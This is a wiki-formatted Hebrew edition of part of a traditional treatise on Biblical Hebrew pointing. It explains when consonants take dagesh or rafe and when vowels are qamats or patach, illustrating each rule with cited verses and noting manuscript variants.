ואע&quot;פ כן יש מקצת מילין הנדגשות אחר ו&quot;ו והן על פי המסורת, והן {{צ|וַיֹּאמְר֣וּ לֹּ֔א כִּי בָרְחוֹב}} {{ק|([[בראשית יט ב]])}}, {{צ|וַיֹּאמְר֣וּ לֹּ֔א כִּי מֶלֶךְ}} {{ק|([[ש&quot;א ח יט]])}}, {{צ|וַיֹּאמְרוּ֩ ל֨וֹ הַחֲרֵשׁ}} דבני דן {{ק|([[שופטים יח יט]])}}, {{צ|וַיֹּאמְרוּ֩ לּ֨וֹ חֲכָמָיו}} {{ק|([[אסתר ו יג]])}}, [כי&quot;פ: {{צ|ק֤וּמוּ צְּאוּ֙ מִן הַמָּקוֹם}} דלוט {{ק|([[בראשית יט יד]])}}, {{צ|ק֤וּמוּ צְּאוּ֙ מִתּוֹךְ עַמִּי}} {{ק|([[שמות יב לא]])}}]. 

וכל מקום שתמצא תיבה שהיא לשעבר, כגון {{צ|לָמָּה חָ֣רָה לָ֔ךְ}} {{ק|([[בראשית ד ו]])}}, {{צ|אֲשֶׁר עָ֥שָׂה שָׁ֖ם בָּרִאשֹׁנָה}} {{ק|([[בראשית יג ד]])}}, חוק יהו&quot;א נוהג בהם, אע&quot;פ שמלך דחוק הויֶה שמה. ואם היא להבא, כגון {{צ|הָ֤בָה נָּא֙ אָבוֹא אֵלַיִךְ}} {{ק|([[בראשית לח טז]])}}, חוק יהו&quot;א בטל שם. 

ואם נמצאת אות יהו&quot;א שאינה נקראת כלל בסוף תיבה, כגון {{צ|וַיַּרְא בָּלָק}} {{ק|([[במדבר כב ב]])}}, לא תיקרי הבי&quot;ת ברפי כי אם בדגש, לפי שהאל&quot;ף אינה נקראת כלל. 

ואם לא נכתבה אות יהו&quot;א בסוף התיבה, הואיל והברתה נשמעת שם, מרפה האות שלאחריה, כגון {{צ|וְעָשִׂ֥יתָ בַ֖דֵּי עַצֵּי}} {{ק|([[שמות כה יג]])}} וכל דומיו. 

התנאי השלישי – דאתי מרחיק – יש בו חילוק כמעט מן דחיק שאמרנו לעיל; אם נתרחק הטעם בתיבה השלישית הבאה אחרי המשרת, נשפך עליו כסוללה להדגיש האות אשר אחרי יהו&quot;א, כגון [כי&quot;מ: {{צ|אוֹ יָרֹה יִיָּרֶה}} {{ק|([[שמות יט יג]])}},] {{צ|הוּא יִבְנֶה־בַּיִת}} {{ק|([[ש&quot;ב ז יג]])}}, {{צ|הֲלַמֵּתִים תַּעֲשֶׂה־פֶּלֶא}} {{ק|([[תהלים פח יא]])}}, {{צ|סוּרָה שְׁבָה־פֹּה פְּלֹנִי}} {{ק|([[רות ד א]])}}. 

ועוד, אם תיבת אות יהו&quot;א גדולה ובאה על התיבה שלאחריה במקף, והיא מן שתי אותיות, כגון {{צ|וְאֵלְכָה אֵלֶיהָ וְאֶדְרְשָׁה־בָּהּ}} {{ק|([[ש&quot;א כח ז]])}} והדומין לו, נבטל שם חוק יהו&quot;א. 

התנאי הרביעי – מפיק ה&quot;א – כיצד, כל מקום שיהיה נקודה תחת ה&quot;א בסוף התיבה, יבטל בה חוק יהו&quot;א, ותהיה דגש האות הסמוכה לה, כגון {{צ|מַחֲצִיתָהּ בַּבֹּקֶר}} {{ק|([[ויקרא ו יג]])}}, {{צ|וְכָל אֲשֶׁר אִתָּהּ בַּבַּיִת}} {{ק|([[יהושע ו יז]])}}, {{צ|וְלַהּ גַּפִּין אַרְבַּע}} {{ק|([[דניאל ז ו]])}} וכל דומיהן. 

התנאי החמישי: כל מפיק ו&quot;ו בסוף התיבה, האות הראשונה מן התיבה השנייה לה היא נדגשת, ויבטל שם חוק יהו&quot;א, כגון {{צ|חֲצֵרֹתָיו בִּתְהִלָּה}} {{ק|([[תהלים ק ד]])}}, {{צ|אֵלָיו פִּי קָרָאתִי}} {{ק|([[תהלים סו יז]])}}, {{צ|יָדָיו תְּבִיאֶינָה}} {{ק|([[ויקרא ז ל]])}} והדומין להן, בר מן ב': {{צ|וְנָטָה עָלֶיהָ קַֽו־תֹ֖הוּ}} {{ק|([[ישעיהו לד יא]])}}, {{צ|וְקוֹל הָמוֹן שָׁלֵ֣ו בֶָהּ֒}} {{ק|([[יחזקאל כג מב]])}}, שאע&quot;פ שמפקין ו&quot;ו הם מרפין. 

התנאי השישי: כל מפיק יו&quot;ד בסוף התיבה לא יתקיים בו מנהג יהו&quot;א ולא ירפה האות שלאחריו, כגון {{צ|שָׂרַי גְּבִרְתִּי}} {{ק|([[בראשית טז ח]])}}, {{צ|אוּלַי תַּעֲרוֹצִי}} {{ק|([[ישעיהו מז יב]])}}, {{צ|(ואחרי) [יְאָתְרַי] בְּנוֹ}} {{ק|([[דה&quot;א ו ו]])}} ודומיהן. בר מן חד: {{צ|אֲדֹנָ֥י בָ֝֗ם סִינַי בַּקֹּדֶשׁ}} {{ק|([[תהלים סח יח]])}}. 

וזה המנהג נוהג ביו&quot;ד בזמן שהיא נקראת ב'אָה'; אבל אם היא נקראת מלא פום, כגון {{צ|כִּי מִי גוֹי גָדוֹל}} {{ק|([[דברים ד ז]] עי&quot;ש)}}, {{צ|גּוֹי מֵרָחֹק}} {{ק|([[דברים כח מט]])}}, {{צ|אוֹי נָא לִי}} {{ק|([[ירמיהו ד לא]])}} וכל הדומין להן, חוק יהו&quot;א נוהג בהן. 

התנאי השביעי מדבר על שתי אותיות רצופות, והן בשני בי&quot;ת-בי&quot;ת או שני כ&quot;ף-כ&quot;ף שנתחברו יחד בראש התיבה, ויהיה תחת הראשונה שבא, יִבָּטל בה חוק יהו&quot;א ומדגיש, כגון {{צ|וַיְהִי בְּבוֹאָם}} {{ק|([[ש&quot;א טז ו]])}}, {{צ|וַתִּתְפְּשֵׂהוּ בְּבִגְדוֹ}} {{ק|([[בראשית לט יב]])}}, {{צ|כְּכֹל}}, {{צ|הֲלֹא כְּכַרְכְּמִישׁ כַּלְנוֹ}} {{ק|([[ישעיהו י ט]])}}. 

ואם היה תחת הראשונה מלך, נתקיים בה תנאי יהו&quot;א, כגון {{צ|וְהוּא אִשָּׁה בִבְתוּלֶיהָ יִקָּח}} {{ק|([[ויקרא כא יג]])}}, {{צ|אֲזַלוּ בִבְהִילוּ}} דעזרא {{ק|([[עזרא ד כג|ד כג]])}} ודומיהן.

התנאי השמיני [כי&quot;פ: והתשיעי] מדבר שכל מקום שיהיה בי&quot;ת בראש התיבה ותחתיה שבא, והאות השנייה לה פ&quot;ה או מ&quot;ם, יבטל שם חוק יהו&quot;א, כגון {{צ|וְאִכָּבְדָה בְּפַרְעֹה}} {{ק|([[שמות יד ד]])}}, {{צ|אֲשֶׁר שַׂמְתִּי בְּפִיךָ}} {{ק|([[ישעיהו נט כא]])}}, {{צ|וַיַּחֲנוּ בְּמִדְבַּר צִן}} {{ק|([[במדבר לג לו]])}} וכל דומיהן. ואם יהיה מלך תחת הבי&quot;ת בראש התיבה יתקיים בו תנאי יהו&quot;א, כגון {{צ|אַל יֵרֶא בִפְלַגּוֹת}} {{ק|([[איוב כ יז]])}}. 

ויש כ&quot;פין הבאות אחר {{צ|וַיְהִי}} בראש התיבה, מקצתן ידגישו ומקצתן ירפו, לפי עניין שיתכן לשון הקורא, כגון {{צ|וַיְהִי כִשְׁמֹעַ}} {{ק|([[בראשית כט יג]])}}, {{צ|כְשָׁמְעוֹ}} {{ק|([[בראשית לט טו]])}}, {{צ|כְהוֹצִיאָם}} {{ק|([[בראשית יט יז]])}}, {{צ|כְמָלְכוֹ}} {{ק|([[מ&quot;א טו כט]])}}, {{צ|כִרְאוֹת}} {{ק|([[אסתר ה ב]])}}, {{צ|כִרְאוֹתוֹ}} {{ק|([[שופטים יא לה]])}}, {{צ|כַאֲשֶׁר}} {{ק|([[דברים ב טז]])}}, ולפי העניין שיתכן לשון הקורא להדגיש ידגיש, לרפות – ירפה. 

ויש במקרא ז' מילין שאין להן עלילות אילו הט' ומדגישין, ואילו הן: {{צ|כִּי גָאֹה גָּאָה}} {{ק|([[שמות טו א]])}}, וחביריו {{ק|([[שמות טו כא]])}}, {{צ|יִדְּמוּ כָּאָבֶן}} {{ק|([[שמות טו טז]])}}, {{צ|מִי כָּמֹכָה נֶאְדָּר}} {{ק|([[שמות טו יא]])}}, ובישעיה {{צ|וְשַׂמְתִּי כַּדְכֹד}} {{ק|([[ישעיהו נד יב]])}}, ובירמיה {{צ|וְנִלְאֵיתִי כַּלְכֵל}} {{ק|([[ירמיהו כ ט]])}}, ובדניאל {{צ|וְחָכְמָה כְּחָכְמַת אֱלָהִין}} {{ק|([[דניאל ה יא]])}}, {{צ|גְדָבְרַיָּא דְּתָבְרַיָּא}} {{ק|([[דניאל ג ב|שם ג ב]])}}, ואין אדם יכול להשיב עליהן, שכך הן מקובלין. 

==1.3== 

שער התי&quot;ו.

בג' מקומות נדגשת התי&quot;ו מכל הת&quot;וין הנדגשות, והן {{צ|וַיְשִׂימֶהָ תֵּל עוֹלָם}} {{ק|([[יהושע ח כח]])}}, ו{{צ|בָּתָּיו וְגַנְזַכָּיו}} {{ק|([[דה&quot;א כח יא]])}}, {{צ|וְגֻבְרַיָּא אִלֵּךְ תְּלָתֵּהוֹן}} {{ק|([[דניאל ג כג]])}}. וכל {{צ|בַּתִּים}} שהם לשון מידה, כגון {{צ|וְיַיִן בַּתִּים עֶשְׂרִים אֶלֶף וְשֶׁמֶן בַּתִּים עֶשְׂרִים אָלֶף}} {{ק|([[דה&quot;ב ב ט]])}}, דכוותהון דגש, ופתח; אבל {{צ|בָּתִּים}} שהן לשון דירה, כגון {{צ|וּבָתִּים מְלֵאִים כָּל טוּב}} {{ק|([[דברים ו יא]])}}, {{צ|הֵנִיס אֶת עֲבָדָיו וְאֶת מִקְנֵהוּ אֶל הַבָּתִּים}} {{ק|([[שמות ט כ]])}}, כולהון קמצין ואינן מדגישין בחוזק, מבלעדי {{צ|וְאֶת בָּ֨תָּ֜יו וְגַנְזַכָּיו}}, שאף על פי שהוא לשון דירה הוא מדגיש בחוזק ונקמץ, מפני שיש בו משרת וטעם, ונראה כאילו הוא שתי תיבות. ויש שמוסיפין עליהן להדגיש בחוזק {{צ|וּבָ֨תִּ֜ים מְלֵאִים כָּל טוּב}}, הואיל שהמשרת והטעם יחד בתיבה. 

==1.4== 

שער על הדיבור במלכים.

תוכן המילה: אות יתכן להיות בתיבה בלא מלך ומלך יתכן בלא אות. וכלל המלכים הם שבעה, והם אֹ אָ אַ אֵ אֶ אִ אֻ. ויוצא יהו&quot;א מתחת ממשלת אלו שבעת המלכים מן הקמץ ומן הפתח ומן אוֹ ומן אִי. ועתה אל&quot;ף וה&quot;א יוצא מן הקמץ ומן הפתח, כמו {{צ|עֲבָדֶיךָ}}, {{צ|עַמְּךָ}}, {{צ|קָשָׁה}}, שאף על פי שלא נכתבה ה&quot;א ב{{צ|עֲבָדֶיךָ}} וב{{צ|עַמְּךָ}} הקמץ מודיעה, כאשר מודיע ב{{צ|קָשָׁה}} כאשר נכתבה. וזה עניין סוף התיבה. ובאמצע התיבה מורה כמו כן הקמץ והפתח אל&quot;ף או ה&quot;א, כמו {{צ|שָׁמַר}}, {{צ|זָכַר}}, (מזבח) [נ&quot;א: {{צ|זֹבֵחַ}}], {{צ|זוֹרֵעַ}} {{צ|שֹׁמֵעַ}}. והנקודה שהיא באה בסגול למעלה תורה על ו&quot;ו, כמו {{צ|זֹכֵר}}, {{צ|שֹׁמֵר}}, {{צ|אֹמֵר}}, {{צ|עֹמֵד}}. והשתי נקודות ונקודה אחת מלמטה יורו על יו&quot;ד באִי ואֵי אף על פי שאינה כתובה, כגון {{צ|אִשָּׁה}}, {{צ|אֵשֶׁת}}, וכהנה רבים, שהיו&quot;ד רגילה להיות חסרה בתיבה ונקראת על פי הנקודות. וג' הנקודות הנקראות שרק שהן מוצבות למטה, והנקודה שבתוך הו&quot;ו יורו עלי וי&quot;ו, כגון {{צ|קוּמוּ צְּאוּ}} {{ק|([[בראשית יט יד]])}}. ובעניין הזה יוצא יהו&quot;א מתחת ממשלת ז' המלכים, שיש מקומות הרבה שהן נקראות ואינן נכתבות, ועל פי הנקודות קריאתן.

==1.5==

שער על הקמץ הגדול ועל הפתח הגדול, באי זה מקום יוכשר הקמץ ובאי זה הפתח. 

תדע ותבין ששמונה דברים מבטלין את הקמץ, ואלו הן: הדגש, והשבא, והמקף, וכל תיבה שבסופה אִי, או נִי, וח', וע', והדבוק לתיבה שלאחריו. 

השער הראשון: כל אות המודגשת בתיבה האות שלפניה נפתחת, כגון {{צ|הַגַּל}}, {{צ|מַכָּה}}, {{צ|שַׁבֵּר}}, {{צ|דַּבֵּר}}, ודומיהן. ואם האות ברפי האות שלפניה נקמצת, כגון {{צ|דָּבָר}}, [כי&quot;פ: {{צ|שָׁמַר}}] [כי&quot;מ: {{צ|שָׁבַר}}], {{צ|עָבַר}}, {{צ|בָּשָׂר}}. וכעניין זה דגש מבטל קמץ שלפניו. 

שער ב' מדבר על השבא שמבטל את הקמץ באות שלפניו, כגון {{צ|הַגְרִיאִים}} {{ק|([[דה&quot;א ה יט]])}}, {{צ|דַרְדַּע}} {{ק|([[מ&quot;א ה יא]])}}, {{צ|בַּעֲלִיס}} {{ק|([[ירמיהו מ יד]])}}, {{צ|גַּבְנֻנִּים}} {{ק|([[תהלים סח טז]])}}, {{צ|טַבְרִמֹּן}} {{ק|([[מ&quot;א טו יח]])}}, בעבור השבא נפתחת האות שלפניו. וכעניין הזה נוהג כל המקרא. 

שער ג' הוא המקף שהוא פותח את תיבתו ונשפך כסוללה על תיבה הסמוכה לה, כגון {{צ|מַה־תֹּאמַר}} {{ק|([[ש&quot;א כ ד]])}}, {{צ|מַה־נֹּאמַר}} {{ק|([[בראשית מד טז]])}}, {{צ|מַה־בֶּצַע}} {{ק|([[בראשית לז כו]])}}, {{צ|מַה־נֹּאכַל}} {{ק|([[ויקרא כה כ]])}}. והעניין הזה נוהג בתיבה קטנה בת שתי אותיות, בין בפתח גדול ובין בפתח קטן, כגון {{צ|זֶה־בְּנִי הַחַי}} {{ק|([[מ&quot;א ג כג]])}}. 

וכן פעמים שתמצא התיבה שהיא בת שלש אותיות או ארבע או יותר והן נדגשות, כגון {{צ|עֹ֤שֶׂה פְּרִ֔י}} {{ק|([[בראשית א יא]])}}, {{צ|אַ֣רְצָה כְּנַ֔עַן}} {{ק|([[בראשית יא לא]])}}, שאף על פי שאין בהן מלך דחוק הן נדגשין, הואיל והמשרת בראש התיבה הראשונה, והאות מראש התיבה השנייה היא ננקדת בשבא, לפיכך היא נדגשת.

שער ד' הוא מפיק י' שבתיבה, בין באמצעיתה בין בסופה. באמצע תיבה, כגון {{צ|הַשָּׁמַיִם}}, {{צ|הָעַרְבַּיִם}}, {{צ|הַמַּיִם}} ודומיהן; בסוף תיבה, כגון {{צ|אָזְנַי}}, {{צ|בָּנַי}}, {{צ|בְּנוֹתַי}}, {{צ|עֵינַי}}, {{צ|כַּפַּי}} ודומיהן. 

בר מן עניין אחד: כל שם הנקרא באל&quot;ף דל&quot;ת הוא נקמץ; ואם הוא דרך חול, כגון {{צ|הִנֶּה נָּא אֲדֹנַי}} {{ק|([[בראשית יט ב]])}}, הוא פתח, ואף על פי שאין זולתו. [כי&quot;מ: אבל {{צ|אֲדֹנָי}} שהוא דרך קודש, כגון {{צ|אֲדֹנָי יֱהֹוִה}}, קמץ, וכל דומיו.]

שער ה' הוא שיבוא נִי בסוף התיבה בלשון דיבור שלא יהיה שם, האות שלפניו היא ננקדת בפתח, כגון {{צ|שְׁמָרַנִי}} {{ק|([[בראשית כח כ]])}}, {{צ|ענני}}, {{צ|אֲכָלַנִי}}, {{צ|הֲמָמַנִי}}, {{צ|בְּלָעַנִי}} {{ק|([[ירמיהו נא לד]])}}, וכל תיבה שהיא לשון דיבור כגון אלו. אבל תיבה שהיא לשון שם, כגון {{צ|תּוֹלַעַת שָׁנִי}} {{ק|([[שמות כח ו]])}}, הן נקמצין. 

שער ו' הוא שיהיה חי&quot;ת בתיבה, או באמצע או בסוף. 

באמצע כיצד, כגון שתהיה התיבה שם ואינה דיבור, כגון {{צ|תַּחַת}}, {{צ|נַחַל}}, {{צ|שַׁחַל}}, {{צ|שַׁחַץ}}, {{צ|גַּחַל}} וכל דומיהן, והנגינה באות הראשונה. 

{{צ|פַּחַת}} הוא מתחלף לשני פנים: {{צ|פַּחַת}} שהוא לשון מצודה, [כי&quot;מ: כגון {{צ|יִפֹּל אֶל הַפַּחַת}} {{ק|([[ישעיהו כד יח]])}},] טעמיה לעיל, ואם הוא לשון שולטנות טעמיה לרע, כגון {{צ|פַּחַת יְהוּדָה}} {{ק|([[חגי א א]])}}. 

ואם התיבה דיבור ואינה שם, כגון {{צ|בָּחַר}}, {{צ|רָחַב פִּי}} {{ק|([[ש&quot;א ב א]])}}, האות הראשון קמץ והשני פתח והטעם לרע ודומיהן. 

שער ז' הוא שיהיה עי&quot;ן באמצע תיבה והתיבה היא שם, כגון {{צ|בַּעַל}}, {{צ|בַּעַר}}, {{צ|נַעַל}}, {{צ|נַעַר}} וכל דומיהן, כולהון פתחין וטעמ' מלעיל. 

ואם היא דיבור ואינה שם, כגון {{צ|פָּעַל}}, {{צ|מָעַל מַעַל}} {{ק|([[יהושע כב כ]])}}, ראשון ראשון נקמץ והשני פתח, וכל דומיהן. 

ואם ח&quot;ת או עי&quot;ן בסוף התיבה והיא דיבור ואינה שם, כגון {{צ|שָׂמַח}}, {{צ|בָּרַח}}, {{צ|שָׁמַע}}, {{צ|לָקַח}}, {{צ|זָרַע}}, {{צ|פָּרַח}}, הראשון קמץ והשני פתח. 

ואם היא שם ואינה דיבור, כגון {{צ|אֶלְיָדָע}}, {{צ|יְהוֹיָדָע}}, {{צ|אֱלִישָׁמַע}}, {{צ|יוֹאָח}}, אף על פי שיש ח&quot;ת או עי&quot;ן אחריהן, את שלפניהן קמוץ. 

זה הכלל: כל תיבה שהיא דיבור ואינה שם והיא בת ג' אותיות, האות הראשונה נקמצת והשנייה נפתחת, כגון {{צ|אָשֹׁם אָשַׁם לַייָ}} {{ק|([[ויקרא ה יט]])}}, {{צ|פָּרַח מַטֵּה אַהֲרֹן}} {{ק|([[במדבר יז כג]])}}, {{צ|אָמַר}}, {{צ|שָׁמַר}} ודומיהן. 

ואם התיבה שם, כגון {{צ|אָשָׁם הוּא}} {{ק|([[ויקרא ה יט]])}}, {{צ|בָּקָר}}, {{צ|דָּבָר}}, שאין בהן לא חי&quot;ת ולא עי&quot;ן באמצעיתה, ננקדת כולה בקמץ. 

ואם יש לתיבה חי&quot;ת או עי&quot;ן באמצעיתה, ננקדת כולה בפתח, בר מן ד' תיבות שאע&quot;פ שיש חי&quot;ת ועי&quot;ן באמצעיתן והם שם ואינן דיבור והן נקמצות, ואילו הן: {{צ|מָחָר}}, {{צ|נָחָשׁ}}, {{צ|רָחָב הַזּוֹנָה}} {{ק|([[יהושע ו יז]])}}, {{צ|רָעָב}}, וטעמ' לרע. 

ואם יש לתיבה חי&quot;ת או עי&quot;ן באמצעיתה והאות האחרונה היא אל&quot;ף או ה&quot;א, כולה נקמצת, כגון {{צ|נָחָה}}, {{צ|שָׁחָה}}, {{צ|שָׁעָה}}, {{צ|רָעָה}}. וכן כל שאר תיבות שיש אל&quot;ף או ה&quot;א בסופן, בין שהן דיבור או שם, כולהון קמצין, כגון {{צ|בָּרָא}}, {{צ|אָפָה}}, {{צ|בָּנָה}}, {{צ|סָרָה}}, {{צ|פָּרָה}} ודומיהן. 

ואם התיבה בת שלש אותיות, והאות הראשונה ננקדת בפתח קטן, והאות האחרונה שלתיבה היא ח&quot;ת או עי&quot;ן, והיא שם ואינה דיבור, כולה ננקדת בפתח וטעמה לעיל, כגון {{צ|פֶּתַח}}, {{צ|זֶרַע}}, [כי&quot;פ: {{צ|זֶרַח}}] [כי&quot;מ: {{צ|פֶּרַח}}], {{צ|פֶּלַח}}, {{צ|פֶּצַע}}, [כי&quot;מ: {{צ|בֶּצַע}}], {{צ|קֶצַח}} וכל דומיהן. 

אבל {{צ|צֵלָע}} יוצא מתנאי זה, שאם הוא דבוק, כגון {{צ|צֶלַע צָפוֹן}} {{ק|([[שמות כו לה]])}}, הוא נפתח כולו, ואם הוא עומד בטעם ואינו דבוק, כגון {{צ|וְהַצְּלָעוֹת צֵלָ֨ע אֶל צֵלָ֜ע}} {{ק|([[יחזקאל מא ו]])}}, הצד&quot;י נקמצת בקמץ קטן והנגינה מלרע. 

שער ח' הוא הדבוק לפניו. וזה פירושו: אם תמצא תיבה עומדת בטעמה והיא שם, היא ננקדת בקמץ, כגון {{צ|וְאֶל הַבָּקָר}} {{ק|([[בראשית יח ז]])}}, {{צ|וְהַבָּשָׂר}} {{ק|([[ויקרא ז יט]])}}, {{צ|וְהַמָּרָק}} {{ק|([[שופטים ו יט]] עי&quot;ש)}} וכל דומיהן.

אבל אם היא נקראת ונסברת עם התיבה שלאחריה, לא יתכן בה קמץ, כגון {{צ|וְכֹל בְּקַר זֶבַח הַשְּׁלָמִים}} {{ק|([[במדבר ז פח]])}}, {{צ|וּמְרַק פִּגֻּלִים}} {{ק|([[ישעיהו סה ד]])}}, {{צ|וּבְשַׂר קֹדֶשׁ}} {{ק|([[ירמיהו יא טו]])}}, {{צ|מַאֲכַל פַּרְעֹה}} {{ק|([[בראשית מ יז]])}}, {{צ|שַׁבַּת שַׁבָּתוֹן}} {{ק|([[שמות לא טו]])}}. [כי&quot;מ: וכל {{צ|שַׁבַּת}} דסמיך לאדכרא פתח, וכל {{צ|שַׁבָּת}} העומד קמץ; {{צ|שַׁבַּת שַׁבָּתוֹן}} פתח, אבל] {{צ|שַׁבַּת הָאָרֶץ}} {{ק|([[ויקרא כה ו]])}}, בין שהוא בא במקף בין שהוא עומד בטעם, הוא ננקד בפתח. 

וכל {{צ|מַלְאָךְ}} דסמיך לאדכרא פתח, כגון {{צ|מַלְאַךְ יְיָ}} {{ק|([[בראשית טז ז]])}}, {{צ|מַלְאַךְ הָאֱלֹהִים}} {{ק|([[בראשית לא יא]])}}. [כי&quot;מ: בר מן ב' שאף על פי שאינן סמוכין לאדכרא הן פתחין, והן במסורת המקרא, וסימניך: {{צ|וּמַלְאַךְ פָּנָיו}} {{ק|([[ישעיהו סג ט]])}}, {{צ|וּמַלְאַךְ הַבְּרִית}} {{ק|([[מלאכי ג א]])}}.] ואם אינו סמוך לאדכרא, כגון {{צ|וּמַלְאָךְ בָּא אֶל אִיּוֹב}} {{ק|([[איוב א יד]])}}, קמץ. 

זהו כללו שלדבר: כל מילה שנסברת ונקראת עם המלה שלאחריה ננקדת בפתח, בר מן י&quot;ג מילין שאף על פי שהן נסמכין לשלאחריהן הן נקמצין. ואלו הן: {{צ|כְּתָב הַדָּת}} {{ק|([[אסתר ד ח]])}}, {{צ|וְאוּלָם הַכִּסֵּא}} {{ק|([[מ&quot;א ז ז]])}}, {{צ|שְׁאָר יִשְׂרָאֵל}} {{ק|([[ישעיהו י כ]] ועוד 1)}}, {{צ|בִּשְׁאָט (ב)נֶפֶשׁ}} {{ק|([[יחזקאל לו ה]])}}, {{צ|כְּדָת הַיּוֹם}} {{ק|([[אסתר ט יג]])}}, {{צ|מַצַּב פְּלִשְׁתִּים}} {{ק|([[ש&quot;א יג כג]] ועוד 4)}}, {{צ|וּמְנָת הַמֶּלֶךְ}} {{ק|([[דה&quot;ב לא ג]])}}, {{צ|הָגְלָת יְהוּדָה}} {{ק|([[ירמיהו יג יט]])}}, {{צ|וְעָשָׂת אֶת הַתְּבוּאָה}} {{ק|([[ויקרא כה כא]])}}, {{צ|וְהִרְצָת אֶת שַׁבְּתֹתֶיהָ}} {{ק|([[ויקרא כו לד]])}}, {{צ|וְאֶת יְקָר תִּפְאֶרֶת}} {{ק|([[אסתר א ד]])}}, {{צ|מַתָּן אָדָם}} {{ק|([[משלי יח טז]])}}, {{צ|פִּתְגָם הַמֶּלֶךְ}} {{ק|([[אסתר א כ]])}}. 

ועוד אודיעך: כל וי&quot;ו שהיא בראש התיבה, והאות שלאחריה היא אחת מן אותיות א&quot;ח ה&quot;ע, ואותה אות א&quot;ח ה&quot;ע ננקדת בחטף פתח, הו&quot;ו שלפניה היא נפתחת, כגון {{צ|וַהֲלַכְתֶּם}} {{ק|([[בראשית יט ב]])}}, {{צ|וַחֲזַקְתֶּם}} {{ק|([[יהושע כג ו]])}}, [כי&quot;פ: {{צ|וַעֲבַדְתֶּם}} {{ק|([[שמות כג כה]])}}] [כי&quot;מ: וַעֲבַרְתֶּם {{ק|([[דברים יב י]]}}], {{צ|וַאֲשֶׁר}} {{ק|([[בראשית ז כג]])}}, {{צ|וַאֲדַבֵּרָה}} {{ק|([[בראשית יח ל]])}}. אבל {{צ|וָאֲדַבֵּר}} {{ק|([[דברים א מג]])}} יוצא מתנאי זה, שהוא קמץ מפני שהוא לשעבר. ויש אחד שהוא להבא והוא פתח: {{צ|עֲמֹד עַל רַגְלֶיךָ וַאֲדַבֵּר אֹתָךְ}} {{ק|([[יחזקאל ב א]])}}. 

ואם אות א&quot;ח ה&quot;ע ננקדת בקמץ או בפתח והתיבה לשעבר, תדע שהוי&quot;ו נקמצת, כגון {{צ|וָאַרְבֶּה}} {{ק|([[יהושע כד ג]])}}, {{צ|וָאֶתֵּן}} {{ק|([[בראשית מ יא]])}}, {{צ|וָאֶשְׁמַע}} {{ק|([[ש&quot;א טו כד]])}}, {{צ|וָאֶקְרָא}} {{ק|([[בראשית לט יד]])}}. 

ואם היא להבא הוי&quot;ו ננקדת בשבא, כגון {{צ|וְאֶתְּנָה בְרִיתִי}} {{ק|([[בראשית יז ב]])}}, {{צ|וְאֹמְרָה}} {{ק|([[בראשית מו לא]])}}, {{צ|וְאֶעֱשֶׂה}} {{ק|([[בראשית כז ט]])}}, {{צ|וְחָלָה}} {{ק|([[הושע יא ו]])}}, {{צ|וְעָמַד}}, {{צ|וְהָיָה}}, {{צ|וְעָלוּ}}, {{צ|וְהָיוּ}} וכל דומיהן. 

ועוד אשכילך, שכל מקום שתמצא תיבה שהיא לשעבר, כגון {{צ|וְעָמְדוּ}} {{ק|([[נחמיה יב לט]])}}, {{צ|וְעָבְרוּ}}, {{צ|וְאָמְרוּ}} {{ק|([[ש&quot;א ה ז]])}}, {{צ|בָּגְדוּ}} {{ק|([[ירמיהו יב ו]])}}, {{צ|בָּחֲרוּ בְּדַרְכֵיהֶם}} {{ק|([[ישעיהו סו ג]])}}, {{צ|גָּבְרוּ}} {{ק|([[בראשית ז יט]])}}, {{צ|חָמְדוּ}} {{ק|([[משלי א כב]])}}, {{צ|זָכְרוּ}} {{ק|([[שופטים ח לד]])}} וכל דומיהן, אף על פי שהשבא בא אחריו, לא יבטל הקמץ. ואפילו אם היא בלשון יעשו, כגון {{צ|וְרָחֲצוּ אַהֲרֹן וּבָנָיו}} {{ק|([[שמות ל יט]])}}, {{צ|וְרָחֲצוּ יְדֵיהֶם וְרַגְלֵיהֶם}} {{ק|([[שמות ל כא]])}}. אבל אם התיבה היא להבא בלשון ציווי, כגון {{צ|וְרַחֲצוּ רַגְלֵיכֶם}} {{ק|([[בראשית יח ד]])}}, {{צ|רַחֲצוּ הִזַּכּוּ}} {{ק|([[ישעיהו א טז]])}} [כי&quot;מ: אבל {{צ|וְהַזֹּנוֹת רָחָצוּ}} {{ק|([[מ&quot;א כב לח]])}} כולו קמץ, וכן {{צ|לֹא חָפַצְתִּי בָּחָרוּ}} {{ק|([[ישעיהו סו ד]])}} כולו קמץ], {{צ|בַּחֲרוּ לָכֶם}} {{ק|([[יהושע כד טו]], [[מ&quot;א יח כה]])}}, כולהון פתחין. וכן {{צ|אָמְרָה}}, {{צ|גָּבְרָה}}, {{צ|עָבְרָה}}, וכן {{צ|אָמַרְתָּ}}, {{צ|בָּחַרְתָּ}}, {{צ|גָּעַרְתָּ}} ודומיהן שהן לשעבר הן קמצין, ולא יבטל בהן השבא את הקמץ. 

וכל {{צ|וַיַּעַל}}, {{צ|וַיַּחַץ}}, {{צ|וַיַּעַשׂ}}, {{צ|וַתַּעַל}}, {{צ|וַתַּעַשׂ}}, כולהון פתחין וכל דומיהן, וטעמ' לעיל. 

[כי&quot;מ: וכל עשייה פתח בר מן ב' קמץ וסוף פסו': {{צ|וְנַפְשׁוֹ אִוְּתָה וַיָּֽעַשׂ}} {{ק|([[איוב כג יג]])}} {{צ|עַד חֲצִי הַמַּלְכוּת וְתֵעָֽשׂ}} {{ק|([[אסתר ה ו]])}}. וכל {{צ|מַעֲשֵׂה}} קמץ, בר מן י&quot;ב פתח, וסימ': {{צ|כֹּל כְּלִי מַעֲשֶׂה}} {{ק|([[במדבר לא נא]])}}, {{צ|בֹּשֶׂם}} {{ק|([[ישעיהו ג כד]])}}, {{צ|לְמִצְרַיִם}} {{ק|([[ישעיהו יט טו]])}}, {{צ|הַפְכְּ[כֶ]ם}} {{ק|([[ישעיהו כט טז]])}}, {{צ|מְרֻקָּחִים}} {{ק|([[דה&quot;ב טז יד]])}}, (חשב) {{צ|הֵחֵל}} {{ק|([[דה&quot;ב לא כא]])}}, {{צ|לְהָסִיר}} {{ק|([[איוב לג יז]])}}, {{צ|אֶת כָּל (אלה) [זֶה]}} {{ק|([[קהלת ח ט]])}} {{צ|תִּמְצָא}} {{ק|([[קהלת ט י]])}}, {{צ|בְמִשְׁפָּט}} {{ק|([[קהלת יב יד]])}}.]

וכל {{צ|וַיֵּשֶׁב}}, {{צ|וַתֵּשֶׁב}}, {{צ|וַיָּקָם}}, {{צ|וַתָּקָם}}, {{צ|וַתָּרָם}}, {{צ|וַנָּשָׁב}} וכל דומיהן קמצין, בר מן וי&quot;ו שבראש התיבה שהיא פתוחה, וטעמ' לעיל. 

